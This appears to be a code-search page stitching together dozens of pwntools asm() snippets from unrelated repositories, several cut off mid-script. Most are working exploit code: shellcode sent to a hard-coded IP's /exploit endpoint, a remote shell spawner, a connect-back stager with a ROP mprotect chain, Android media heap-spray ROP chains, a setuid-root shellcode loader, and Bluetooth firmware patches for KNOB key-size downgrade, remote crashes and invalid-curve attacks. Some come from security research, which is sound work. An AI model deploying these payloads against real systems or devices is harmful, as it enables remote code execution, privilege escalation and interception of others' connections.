示例#1
0
 def gen_connect_shellcode(self, ip, port):
     # socket connect(ip,port) connect_fd=r6
     connect_asm = shellcraft.arm.connect(ip, port)
     shellcode = asm.asm(connect_asm, arch=self.arch)
     print connect_asm
     with open(self.shellcode_path, 'wb') as f:
         f.write(shellcode)
示例#2
0
 def compose(self, *args):
     """
     The function composes the buffer based on the available input.
     The argument must be:
         1. The name of an attribute
         2. A set of instructions
         3. A string that can be converted in bytes
     """
     for chunk in args:
         try:
             tmp = self.__getattribute__("_BufferOverflow__" + chunk)
             if tmp:
                 self.__buffer += tmp
             else:
                 print(f"[*] {chunk} is an empty attribute. Skipping...")
         except (AttributeError, TypeError):
             print(
                 f"[*] {chunk} is not a valid attribute. Attempting to add it as instruction."
             )
             try:
                 self.__buffer += asm(chunk)
             except (PwnlibException, TypeError):
                 print(
                     f"[*] {chunk} is not a valid assembly instruction. Adding raw bytes to the buffer."
                 )
                 try:
                     self.__buffer += bytes(chunk, self.__encoding)
                 except Exception as e:
                     print(self.compose.__doc__)
                     print(
                         f"[-] {chunk} is not a valid attribute, instruction or byte sequence."
                     )
                     raise e
     print(f"[*] Buffer => {self.__buffer}\n")
示例#3
0
 def gen_sh_shellcode(self, cmd):
     # execve
     sh_asm = shellcraft.arm.sh()
     shellcode = asm.asm(sh_asm, arch=self.arch)
     print sh_asm
     with open(self.shellcode_path, 'wb') as f:
         f.write(shellcode)
示例#4
0
 def __call__(self, raw_bytes, avoid, pcreg=''):
     key, xordata = xor_key(raw_bytes, avoid, size=1)
     key = u8(key)
     maximum = 256
     length = len(raw_bytes)
     cacheflush = shellcraft.arm.linux.cacheflush()
     decoder = asm(self.decoder % locals())
     return decoder + xordata
示例#5
0
文件: xor.py 项目: cxh852456/pwntools
 def __call__(self, raw_bytes, avoid, pcreg=''):
     key, xordata = xor_key(raw_bytes, avoid, size=1)
     key          = u8(key)
     maximum      = 256
     length       = len(raw_bytes)
     cacheflush   = shellcraft.arm.linux.cacheflush()
     decoder      = asm(self.decoder % locals())
     return decoder + xordata
示例#6
0
def find_arm_gadget(e, gadget):
    gadget_bytes = asm.asm(gadget, arch='arm')
    gadget_address = None
    for address in e.search(gadget_bytes):
        if address % 4 == 0:
            gadget_address = address
            if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
                print(asm.disasm(gadget_bytes, vma=gadget_address, arch='arm'))
                break
    return gadget_address
示例#7
0
def find_arm_gadget(e, gadget):
   gadget_bytes = asm.asm(gadget, arch='arm')
   gadget_address = None
   for address in e.search(gadget_bytes):
	   if address % 4 == 0:
	      gadget_address = address
	   if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
		   print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
		   break
   return gadget_address
示例#8
0
def find_thumb_gadget(e, gadget):
   gadget_bytes = asm.asm(gadget, arch='thumb')
   gadget_address = None
   for address in e.search(gadget_bytes):
	   if address % 2 == 0:
	      gadget_address = address + 1
	      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
		      print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
		      break
   return gadget_address
示例#9
0
def assemble(assembly, type):
    shellcode = ""
    for line in assembly:
        assembled = asm(line)
        if type == 'shell':
            for char in assembled:
                shellcode += '\\x' + char.encode('hex')
        else:
            shellcode += assembled.encode('hex')
        remainder = len(assembled) % 4
    print("[*] Shellcode length is {}".format(len(shellcode) / 4))
    print(shellcode)
    return
示例#10
0
 def append(self, **kwargs):
     suffix = b""
     try:
         suffix = kwargs['raw']
     except KeyError:
         try:
             suffix = asm(kwargs['instruction'])
         except KeyError:
             raise KeyError(
                 "[-] Only 'raw' and 'instruction' options are acceptable input"
             )
     self.__exploit += suffix
     print(
         f"[*] Exploit ({len(self.__exploit)} bytes) => {self.__exploit}\n")
示例#11
0
文件: xor.py 项目: cxh852456/pwntools
    def __call__(self, raw_bytes, avoid, pcreg=''):
        while len(raw_bytes) % context.bytes:
            raw_bytes += '\x00'

        a, b = xor_pair(raw_bytes, avoid)

        mov_ecx = shellcraft.i386.mov('ecx', len(raw_bytes) / context.bytes)
        decoder = self.decoder % mov_ecx
        decoder = asm(decoder)

        for left, right in zip(group(context.bytes, a), group(context.bytes, b)):
            decoder += left
            decoder += right

        return decoder
示例#12
0
def main():
  """
  Runs on program execution.
  """
  # Assemble and encode reverse shellcode payload 
  payload = str(asm(SHELLCODE_PAYLOAD).encode('base64').replace('\n', ''))

  # Start a requests session
  s = requests.session()

  # Get the home page to set the cookie
  s.get('http://178.128.100.75')

  # Send the payload
  s.post('http://178.128.100.75/exploit', json={"payload": payload})
示例#13
0
文件: xor.py 项目: McLutzifer/Python
    def __call__(self, raw_bytes, avoid, pcreg=''):
        while len(raw_bytes) % context.bytes:
            raw_bytes += b'\x00'

        a, b = xor_pair(raw_bytes, avoid)

        mov_ecx = shellcraft.i386.mov('ecx', len(raw_bytes) // context.bytes)
        decoder = self.decoder % mov_ecx
        decoder = asm(decoder)

        for left, right in zip(group(context.bytes, a),
                               group(context.bytes, b)):
            decoder += left
            decoder += right

        return decoder
示例#14
0
def main():
    args   = parser.parse_args()
    tty    = args.output.isatty()

    for arch in args.context[::-1]:
        if arch in context.architectures: break
    for os in args.context[::-1]:
        if os in context.oses: break

    data   = '\n'.join(args.lines) or sys.stdin.read()
    output = asm(data.replace(';', '\n'), arch = arch, os = os)
    fmt    = args.format or ('hex' if tty else 'raw')
    formatters = {'r':str, 'h':enhex, 's':repr}

    args.output.write(formatters[fmt[0]](output))

    if tty and fmt is not 'raw':
        args.output.write('\n')
示例#15
0
文件: asm.py 项目: steelcode/pwntools
def main():
    args = parser.parse_args()
    tty = args.output.isatty()

    for arch in args.context[::-1]:
        if arch in context.architectures: break
    for os in args.context[::-1]:
        if os in context.oses: break

    data = '\n'.join(args.lines) or sys.stdin.read()
    output = asm(data.replace(';', '\n'), arch=arch, os=os)
    fmt = args.format or ('hex' if tty else 'raw')
    formatters = {'r': str, 'h': enhex, 's': repr}

    args.output.write(formatters[fmt[0]](output))

    if tty and fmt is not 'raw':
        args.output.write('\n')
示例#16
0
文件: asm.py 项目: Gangana3/CTFs
def compile_read_file_shellcode(file_name: str, content_length: int):
    asm.context.arch = 'amd64'
    return asm.asm(f'''
            jmp start

            main:        
                pop rdi
                push rdi       

                push rbp
                mov rbp, rsp
                sub rsp, {content_length}

                mov rax, 2 
                mov rsi, O_RDONLY 
                mov rdx, S_IRUSR
                syscall
                
                mov rdi, rax
                xor rax, rax
                lea rsi, [rbp - {content_length}]
                mov rdx, {content_length}
                syscall

                mov rax, 1
                mov rdi, 1 
                lea rsi, [rbp - {content_length}]
                mov rdx, {content_length}
                syscall

                mov rsp, rbp
                pop rbp
                ret 

            start:
                call main
                .asciz "{file_name}"
            ''')
示例#17
0
 def data(self):
     code = ''
     #============config===============
     args = [0]    #not more than 6 arguments
     regs = ['rdi','rsi','rdx','rcx','r8','r9']
     rax = 60
     #=======update config=============
     c = raw_input('Do you want change default configurations?(y/n)(n)')
     if c and c[0] == 'y' :
         ar = raw_input("Enter a list of args(ex:[1,2,3]):\n")
         args = eval(ar)
         ra = raw_input("Enter syscall number:\n")
         rax = eval(ra)
     #============config===============
     args = [0]    #not more than 6 arguments
     regs = ['rdi','rsi','rdx','rcx','r8','r9']
     rax = 60
     #============assemble=============
     a_r = zip(args,regs[0:len(args)])
     for (a,r) in a_r:
         code += 'mov '+ r + ', ' + str(a) + '\n'
     code += 'mov rax, ' + str(rax) + '\n'
     code += 'syscall\n'
     return asm.asm(code, arch='amd64', os = 'linux')
示例#18
0
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info(
    "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0)  # connection struct key entropy
internalblue.patchRom(Address(0x689F0), patch)

# modify global variable for own setting
internalblue.writeMem(0x204127, b'\x01')  # global key entropy

internalblue.logger.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
示例#19
0
    // undo registers for our own routine
    mov   r0, r7
    pop   {r1-r7, lr}

    // branch back to _connTaskRxDone + 4
    b 0x%x

""" % (RX_DONE_HOOK_ADDRESS + 4)

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

internalblue.logger.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
    internalblue.logger.critical(
        "Installing patch for _connTaskRxDone failed!")
    exit(-1)

# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
示例#20
0
"""

internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

progress_log = internalblue.logger.info(
    "installing assembly patches to crash other device on connect requests...")

#progress_log = internalblue.logger.info("Writing ASM snippet for LMP 00 table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP,
                             data=code,
                             progress_log=progress_log):
    internalblue.logger.critical("error!")
    exit(-1)

#progress_log = internalblue.logger.info("Installing predefined hook for LMP table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP,
                             data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1),
                             progress_log=progress_log):
    internalblue.logger.critical("error!")
    exit(-1)

#progress_log = internalblue.logger.info("Writing ASM snippet for LMP VSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
示例#21
0
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info(
    "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6)  # connection struct key entropy
internalblue.patchRom(Address(0x530F6), patch)

# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01')  # global key entropy

internalblue.logger.info(
    "-----------------------KNOB-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
    "On Android, this requires a modified bluetooth.default.so.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
示例#22
0
def heap_spray(size):
    pssh = 'spry'
    pssh += 'S' * 16
    pssh += pb32(size)

    page = ''

    nop = asm.asm('nop', arch='thumb')
    while len(page) < 0x100:
        page += nop
    page += shellcode
    while len(page) < 0xed0:
        page += '\xcc'

    # MPEG4DataSource fake vtable
    page += p32(stack_pivot)

    # pivot swaps stack then returns to pop {pc}
    page += p32(pop_r0_r1_r2_r3_pc)

    # mmap64(mmap_address,
    #        0x1000,
    #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
    #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
    #        -1,
    #        0);

    page += p32(mmap_address)  # r0 = address
    page += p32(0x1000)  # r1 = size
    page += p32(7)  # r2 = protection
    page += p32(0x32)  # r3 = flags
    page += p32(ldr_lr_bx_lr)  # pc

    page += pad(ldr_lr_bx_lr_stack_pad)
    page += p32(pop_r4_r5_r6_r7_pc)  # lr
    page += pad(4)

    page += p32(0x44444444)  # r4
    page += p32(0x55555555)  # r5
    page += p32(0x66666666)  # r6
    page += p32(0x77777777)  # r7
    page += p32(mmap64)  # pc

    page += p32(0xffffffff)  # fd      (and then r4)
    page += pad(4)  # padding (and then r5)
    page += p64(0)  # offset  (and then r6, r7)
    page += p32(pop_r0_r1_r2_r3_pc)  # pc

    # memcpy(shellcode_address,
    #        spray_address + len(rop_stack),
    #        len(shellcode));

    page += p32(mmap_address)  # r0 = dst
    page += p32(spray_address - 0xed0)  # r1 = src
    page += p32(0xed0)  # r2 = size
    page += p32(0x33333333)  # r3
    page += p32(ldr_lr_bx_lr)  # pc

    page += pad(ldr_lr_bx_lr_stack_pad)
    page += p32(pop_r4_r5_r6_r7_pc)  # lr
    page += pad(4)

    page += p32(0x44444444)  # r4
    page += p32(0x55555555)  # r5
    page += p32(0x66666666)  # r6
    page += p32(0x77777777)  # r7
    page += p32(memcpy)  # pc

    page += p32(0x44444444)  # r4
    page += p32(0x55555555)  # r5
    page += p32(0x66666666)  # r6
    page += p32(0x77777777)  # r7
    page += p32(mmap_address + 1)  # pc

    while len(page) < 0x1000:
        page += '#'

    pssh += page * (size // 0x1000)

    return chunk('pssh', pssh)
示例#23
0
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info("installing assembly patches...")
"""

# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    internalblue.logger.critical("Could not disable original RNG!")
    exit(-1)
"""

# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=None):
    internalblue.logger.critical("error!")
    exit(-1)

# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
if not internalblue.patchRom(0x607AC, patch, 0):  # use slot 0 and only slot 0
    internalblue.logger.critical("Could not implement our launch RAM fix!")
    exit(-1)

internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
示例#24
0
        //branch back into simple_pairing_state_machine_303D4 but without our branch
    locret: 
        b    0x303D8
"""

internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info("Writing ASM snippet for NiNo check.")
code = asm(ASM_SNIPPET_IO_CAP_RESP, vma=ASM_LOCATION_IO_CAP_RESP)
if not internalblue.writeMem(
        address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=None):
    internalblue.logger.failure("error!")
    exit(-1)

# all send_lmp functions are in rom...
internalblue.logger.info("Installing NiNo hook ...")
patch = asm("b 0x%x" % ASM_LOCATION_IO_CAP_RESP, vma=HOOK_IO_CAP_RESP)
if not internalblue.patchRom(HOOK_IO_CAP_RESP, patch):
    internalblue.logger.critical("error!")
    exit(-1)

# shutdown connection
internalblue.shutdown()
internalblue.logger.info("Goodbye")
示例#25
0
    ldr   r0, [r0]          // &(lm_curCmd + 4) - this is the actual pointer to our payload
    add   r0, 0xd           // LMP payload starts at 0xc with 1 byte opcode, 0xd is offset for payload 
    ldr   r1, =0xcafebabe   // overwrite features (hardcoded as of now)
    str   r1, [r0]
    add   r0, 0x4           // overwrite another 4 bytes (all features)
    ldr   r1, =0x0badf00d   
    str   r1, [r0]
    
    // restore original registers, branch to original implementation
    pop   {r0-r1, lr}
    
    // go back to lm_HandleLmpFeaturesResPdu+4
    b    0x%x

""" % (LMP_CMD_PTR, LMP_FUNCT_FEATURES_RES + 4)

# assemble our snippet and install it in RAM
code = asm(LMP_PATCH_ASM, vma=LMP_PATCH_FEATURES_RES)  # branches are relative, we need to put the patches address here
if not internalblue.writeMem(address=LMP_PATCH_FEATURES_RES, data=code, progress_log=None):
    internalblue.logger.critical("Could not write pre-hook for features result to RAM!")
    exit(-1)

# patch the original function in ROM to branch to RAM
code = asm('b 0x%x' % LMP_PATCH_FEATURES_RES, vma=LMP_FUNCT_FEATURES_RES)
if not internalblue.patchRom(LMP_FUNCT_FEATURES_RES, code):
    internalblue.logger.critical("Could not install Patchram entry to verwrite existing function!")
    exit(-1)

# enter CLI so that we can still interact and see the connection request
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
示例#26
0
from pwn import *
from pwnlib import asm

context.arch = 'amd64'

# Create a NOP sled into our code
# (for my laziness)
nop = asm.asm('nop')
# note I did not use asm() here for the jump, to get a short jump
advance = b'\xEB\x06'
nops = (((nop * 6) + advance) * 4)

# ok, so we need to execute everything in 6-byte segments
# which will be a bit odd

# based on: https://www.exploit-db.com/shellcodes/46907

shellcode = nops

# clear rsi
shellcode += asm.asm('xor rsi, rsi')  # 3 bytes
shellcode += asm.asm('push rsi')  # 1 byte
shellcode += nop * 2  # 2 bytes
shellcode += advance  # <advance>

# clear rdi
shellcode += asm.asm('xor rdi, rdi')  # 3 bytes

# we need to get 0x68732f2f6e69622f into rdi
# i'll do this by using rax to shift-and-mask
示例#27
0
        %s   
    
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x
                                for x in WHITELIST_BYTES]))

internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info("Writing ASM snippet for LMP MAC address filter.")
code = asm(ASM_SNIPPET_LMP_FILTER, vma=ASM_LOCATION_LMP_FILTER)
if not internalblue.writeMem(
        address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=None):
    internalblue.logger.critical("error!")
    exit(-1)

# all send_lmp functions are in rom...
internalblue.logger.info("Installing MAC address filter hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_LMP_FILTER, vma=HOOK_LMP_FILTER)
if not internalblue.patchRom(HOOK_LMP_FILTER, patch):
    internalblue.logger.critical("error!")
    exit(-1)

# shutdown connection
internalblue.shutdown()
internalblue.logger.info("Goodbye")
"""

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

if internalblue.fw.FW_NAME != "BCM4335C0":
    internalblue.logger.info(
        "This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
    internalblue.logger.info(
        "It does not work on other firmwares (wrong offsets).")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

internalblue.logger.info("Installing hook patches...")
internalblue.logger.info(
    "  - Hook public key receive path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % HOOKS_LOCATION, vma=PK_RECV_HOOK_ADDRESS)
if not internalblue.patchRom(PK_RECV_HOOK_ADDRESS, patch):
    internalblue.logger.critical("Installing patch for PK_recv failed!")
    exit(-1)

internalblue.logger.info(
    "  - Hook public key send path to replace y-coordinate with zero")
示例#29
0
from pwnlib.tubes.remote import remote
from pwnlib.asm import asm
from pwnlib.shellcraft.i386.linux import sh
from time import sleep

r = remote('10.second.ninja', 9090)
r.send('\x90'*22 + asm(sh()))
sleep(1)
r.interactive()
示例#30
0
def urlencode1(s):
    ret = ""
    for i in s:
        ret += f"%{hex(ord(i))[2:].zfill(2)}"
    return ret

def urlencode2(s):
    return urllib.parse.quote_plus(s)

def due(s):
    return urlencode2(urlencode1(s))

skip_4_bytes = asm("""
    jmp a
    inc eax
    inc eax
    inc eax
    inc eax
a:
""").replace(asm("inc eax"), b"\x00")

def nop_slide(s):
    pad = b"\x90" * 307 + skip_4_bytes + b"\x90" * 30000
    return pad[:21000 - len(s)] + s

guc_offset = 0x56556778 - 0x56555000
ret200 = 0x56556dee - 0x56555000

shellcode  = ""
shellcode += "mov esi, 0x57000000\n"
shellcode += "lp:\n"
    binary.address = epp_ba
    binary.symbols = {'mprotect': libc_mprotect}
    rop = ROP(binary)
    # Mark the current stack page, and the one just before, incase we are on a boundary.
    rop.call(
        'mprotect', (stack_frame.previous_frame_stack_base_pointer & ~0xFFF, 0x2000, 0x7))

    target_ip = socket.gethostbyname(socket.gethostname())

    mprotect_rop = rop.chain()

    logging.info(rop.dump())
    # We are gonna be a little lazy and just end with an infinite loop,
    # we make no attempt to clean up the stack and continue normal
    # execution.
    connect_stager = asm(connectstager(target_ip, CALLBACK_PORT) + infloop())

    previous_frame_size = 0x30

    shell_code_stack_address = stack_frame.previous_frame_stack_base_pointer + \
        len(mprotect_rop) - \
        previous_frame_size

    shell_code = mprotect_rop + \
        pack("<Q", shell_code_stack_address) + \
        connect_stager

    logging.info("shellcode stack address: 0x{:X}".format(
        shell_code_stack_address))

    stack_stomp = create_stack_frame(shell_code)
示例#32
0
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info(
    "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4)  # connection struct key entropy
internalblue.patchRom(Address(0x3B3D4), patch)

# modify global variable for own setting
internalblue.writeMem(0x204A5F, b'\x01')  # global key entropy

internalblue.logger.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
示例#33
0
def heap_spray(size):
   pssh = 'spry'
   pssh += 'S' * 16
   pssh += pb32(size)

   page = ''

   nop = asm.asm('nop', arch='arm')
   while len(page) < 0x100:
	   page += nop
   page += shellcode
   while len(page) < 0xed0:
	   page += '\xcc'

   # MPEG4DataSource fake vtable
   page += p32(stack_pivot)

   # pivot swaps stack then returns to pop {pc}
   page += p32(pop_r0_r1_r2_r3_pc)

   # mmap64(mmap_address, 
   #		0x1000,
   #		PROT_READ | PROT_WRITE | PROT_EXECUTE,
   #		MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
   #		-1,
   #		0);

   page += p32(mmap_address)			 # r0 = address
   page += p32(0x1000)					# r1 = size
   page += p32(7)						 # r2 = protection
   page += p32(0x32)					  # r3 = flags
   page += p32(ldr_lr_bx_lr)			 # pc

   page += pad(ldr_lr_bx_lr_stack_pad)
   page += p32(pop_r4_r5_r6_r7_pc)		# lr
   page += pad(4)

   page += p32(0x44444444)				 # r4
   page += p32(0x55555555)				 # r5
   page += p32(0x66666666)				 # r6
   page += p32(0x77777777)				 # r7
   #page += p32(mmap64)					# pc

   page += p32(0xffffffff)				 # fd		 (and then r4)
   page += pad(4)						 # padding (and then r5)
   page += p64(0)						 # offset  (and then r6, r7)
   page += p32(pop_r0_r1_r2_r3_pc)		# pc

   # memcpy(shellcode_address, 
   #		spray_address + len(rop_stack),
   #		len(shellcode));

   page += p32(mmap_address)			 # r0 = dst
   page += p32(spray_address - 0xed0)	# r1 = src
   page += p32(0xed0)					  # r2 = size
   page += p32(0x33333333)				 # r3
   page += p32(ldr_lr_bx_lr)			 # pc

   page += pad(ldr_lr_bx_lr_stack_pad)
   page += p32(pop_r4_r5_r6_r7_pc)		# lr
   page += pad(4)

   page += p32(0x44444444)				 # r4
   page += p32(0x55555555)				 # r5
   page += p32(0x66666666)				 # r6
   page += p32(0x77777777)				 # r7
   page += p32(memcpy)					# pc

   page += p32(0x44444444)				 # r4
   page += p32(0x55555555)				 # r5
   page += p32(0x66666666)				 # r6
   page += p32(0x77777777)				 # r7
   page += p32(mmap_address + 1)		  # pc

   while len(page) < 0x1000:
	   page += '#'

   pssh += page * (size // 0x1000)

   return chunk('pssh', pssh)
示例#34
0
# -*- coding: utf-8 -*-
from pwnlib.asm import asm
from pwnlib.shellcraft.i386.linux import sh, setresuid
import os

instructions = sh()
print("Assembler instructions for shellcode:")
print(instructions)


shellcode = asm(setresuid(0, 0, 0)) + asm(instructions)
# Lägg till no-op instruktioner, så att vi får större träffyta
maxlen = 50000
nopsled = '\x90'*(maxlen - len(shellcode))
shellcode = nopsled + shellcode

os.environ['EGG'] = shellcode

print("Shellcode is now in EGG")
print("use getenvaddr to get address")
os.system("/bin/bash")
示例#35
0
buf += b"\x6b\x68\x70\x68\x35\x6e\x42\x56\x36\x33\x5a\x35\x50"
buf += b"\x62\x73\x79\x6f\x7a\x75\x41\x41"

print(buf)

w = open("hex_array.bin", "w")
w.write(good_array)
w.close()

# adjust with jmp of +654
# push esp, pop eax
# add ax,0x654 + 0x6 = 0x65a
adjust = "\x54\x58" + "\x66\x05\x5a\x06"

test = ""
test += asm("xor eax, eax")
test += asm("push 0x30")
test += asm("push 0x68656c6c")
test += asm("push esp")
test += asm("pop edi")
test += asm("add al, 0x2")
test += asm("push eax")
test += asm("sub al, 0x2")
test += asm("push eax ")
test += asm("push edi")
test += asm("push eax")
test += asm("mov eax, 0x7e4507ea")
test += asm("call eax")

test2 = ""
test2 += asm("xor eax, eax")
示例#36
0
    
""" % (MEM_ROUNDS, MEM_RNG)

internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info("installing assembly patches...")

# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=None):
    internalblue.logger.critical("error!")
    exit(-1)

# Disable original RNG
patch = asm(
    "bx lr; bx lr",
    vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    internalblue.logger.critical("Could not disable original RNG!")
    exit(-1)

internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
示例#37
0
This PoC is much shorter since it only modifies global variables for key entropy.

"""

internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A)  # connection struct key entropy
internalblue.patchRom(Address(0x7402A), patch)

# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01')  # global key entropy

internalblue.logger.info("-----------------------\n"
                         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
                         "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
                         "For more details, see special instructions for BlueZ.\n"
                         "-----------------------KNOB-----------------------\n"
                         "Automatically continuing on KNOB interface...\n"
                         "Use the 'knob' command to *debug* the attack, i.e.:\n"
                         "    knob --hnd 0x0c\n"
                         "...shows the key size of handle 0x000c.\n")